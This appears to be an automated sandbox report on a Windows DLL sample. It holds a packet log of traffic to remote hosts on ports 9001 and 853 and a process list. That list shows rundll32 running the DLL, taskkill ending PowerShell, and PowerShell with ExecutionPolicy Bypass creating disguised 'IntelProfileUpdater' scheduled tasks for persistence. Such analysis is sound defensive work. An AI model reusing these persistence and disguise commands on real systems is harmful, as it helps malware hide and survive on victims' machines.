Dec 17, 2024 11:49:37.254462957 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.255259037 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.255397081 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.255491018 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.255981922 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.256088972 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.256191015 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.256477118 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.256577015 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.257229090 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.257246017 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.257411957 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.257651091 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.258088112 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.258188009 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.258239985 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.258796930 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.258914948 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.259007931 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.259567022 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.259711981 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.260399103 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.260462999 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.260711908 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.261265039 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.261359930 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.261445045 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.261898994 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.262026072 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.262166023 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.262655020 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.262721062 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.262775898 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.262881041 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.262897968 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.262948036 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.263465881 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.263539076 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.263597965 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.263606071 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.263767004 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.263777971 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.264252901 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.264329910 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.264420986 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.264707088 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.264808893 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.264986992 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.265033007 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.265108109 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.265475988 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.265773058 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.265821934 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.265911102 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.265937090 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.266071081 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.266172886 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.266562939 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.266645908 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.266699076 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.267177105 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.267285109 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.267355919 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.267374039 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.267378092 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.267415047 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.268134117 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.268260002 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.268326044 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.268475056 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.268851042 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.268961906 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.269088030 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.269668102 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.269751072 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.269963026 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.270423889 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.280991077 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.281060934 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.281076908 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.281306982 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.281419992 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.281560898 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.282082081 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.282206059 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.282897949 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.282968044 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.282994986 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.283179998 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.283657074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.283767939 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.283790112 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.284449100 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.284580946 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.284617901 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.285237074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.285296917 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.285365105 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.286106110 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.286147118 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.286196947 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.286803961 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.286874056 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.286879063 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.287549973 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.287610054 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.287652016 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.288291931 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.288377047 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.288377047 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.289169073 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.289354086 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.289443016 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.290060997 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.290122986 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.290194035 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.290600061 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.290692091 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.291351080 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.291399956 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.291445017 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.292176008 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.292349100 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.292406082 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.292944908 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.293045044 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.293097019 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.293682098 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.293783903 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.294466019 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.294481993 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.294579983 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.295305014 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.295337915 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.295356035 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.295402050 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.308943033 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.309030056 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.309153080 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.309195995 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.309282064 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.309298992 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.309317112 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.309329033 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.309353113 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.309791088 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.310049057 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.310096979 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.310137987 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.310276985 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.310831070 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.310899019 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.311022043 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.311177015 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.311471939 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.311829090 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.311975956 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.312474966 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.312592983 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.312699080 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.313294888 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.313369036 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.313472033 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.313538074 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.314138889 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.314261913 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.314760923 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.314934015 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.315025091 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.315129042 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.315686941 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.315814972 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.315866947 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.316461086 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.316562891 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.316617012 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.317233086 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.317332983 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.317652941 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.318006992 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.318108082 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.318193913 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.402215004 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.402323008 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.402770996 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.402901888 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.403014898 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.403073072 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.404457092 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.404476881 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.404545069 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.405227900 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.405358076 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.405404091 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.406414986 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.406469107 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.406738043 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.407665968 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.407722950 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.408251047 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.408893108 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.408992052 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.409106970 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.410235882 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.410248995 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.410295010 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.411351919 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.411454916 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.412436962 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.412612915 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.412683010 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.413801908 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.413824081 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.413902044 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.413963079 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.415070057 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.415213108 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.415261030 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.416260004 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.416562080 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:37.416634083 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:37.446132898 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.446187019 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.446321011 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:37.446480036 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:37.446585894 CET	9001	49721	23.233.0.213	192.168.2.5

Target ID:	0
Start time:	05:49:13
Start date:	17/12/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\uEhN67huiV.dll"
Imagebase:	0x7ff618a70000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:49:13
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:49:13
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1
Imagebase:	0x7ff6ca540000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:49:13
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainer
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:49:13
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:49:14
Start date:	17/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 4112 -s 588
Imagebase:	0x7ff7c1ba0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:49:16
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstall
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:49:16
Start date:	17/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"taskkill" /F /IM powershell.exe
Imagebase:	0x7ff7ba180000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:49:16
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F
Imagebase:	0x7ff67f2d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F
Imagebase:	0x7ff67f2d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:49:17
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:49:19
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Imagebase:	0x7ff67f2d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:49:19
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstallUserOnly
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:49:19
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:49:19
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"taskkill" /F /IM powershell.exe
Imagebase:	0x7ff7ba180000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
